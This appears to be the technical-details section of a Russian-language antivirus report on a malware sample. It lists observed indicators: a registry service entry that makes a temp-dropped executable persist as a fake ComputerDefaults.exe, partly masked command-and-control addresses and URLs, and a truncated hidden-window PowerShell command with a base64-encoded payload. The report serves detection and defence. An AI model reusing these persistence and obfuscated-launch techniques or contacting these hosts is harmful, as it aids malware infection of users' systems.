Техническая информация
- [<HKLM>\System\CurrentControlSet\Services\ComputerDefaults] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\ComputerDefaults] 'ImagePath' = '"%WINDIR%\SysWOW64\feclient\ComputerDefaults.exe"'
- 'ComputerDefaults' "%WINDIR%\SysWOW64\feclient\ComputerDefaults.exe"
- 'ComputerDefaults' %WINDIR%\SysWOW64\feclient\ComputerDefaults.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ENCOD JABMAGkAZgBhAHoAXwBvAD0AKAAnAFYAJwArACcAYQAnACsAKAAnAHkAJwArACcAbQBlADcAOQAnACkAKQA7ACQAQgBiAGYAbABoAGMANwA9ACQASQB0ADgAdwBjADcAdgAgACsAIABbAGMAaABhAHIAXQAoADEAIAArACAAMQ...
- %TEMP%\n9jwhwa\rl_fn65\xjn5eg.exe
- %WINDIR%\syswow64\feclient\computerdefaults.exe
- %TEMP%\n9jwhwa\rl_fn65\xjn5eg.exe в %WINDIR%\syswow64\feclient\computerdefaults.exe
- '47.##.140.164':80
- http://tu####ochaco.com/wp-admin/R2/
- http://47.##.140.164/9f2QOsf7pkQn1Qk/4xAnAc/7o0IjWybnx9arDU23J/ODDFChRQAurdbf1/IDzSZUJCl/xAh12AIoY9LMLU5hK/
- DNS ASK tu####ochaco.com
- '%TEMP%\n9jwhwa\rl_fn65\xjn5eg.exe'
- '%WINDIR%\syswow64\feclient\computerdefaults.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ENCOD JABMAGkAZgBhAHoAXwBvAD0AKAAnAFYAJwArACcAYQAnACsAKAAnAHkAJwArACcAbQBlADcAOQAnACkAKQA7ACQAQgBiAGYAbABoAGMANwA9ACQASQB0ADgAdwBjADcAdgAgACsAIABbAGMAaABhAHIAXQAoADEAIAArACAAMQ...' (со скрытым окном)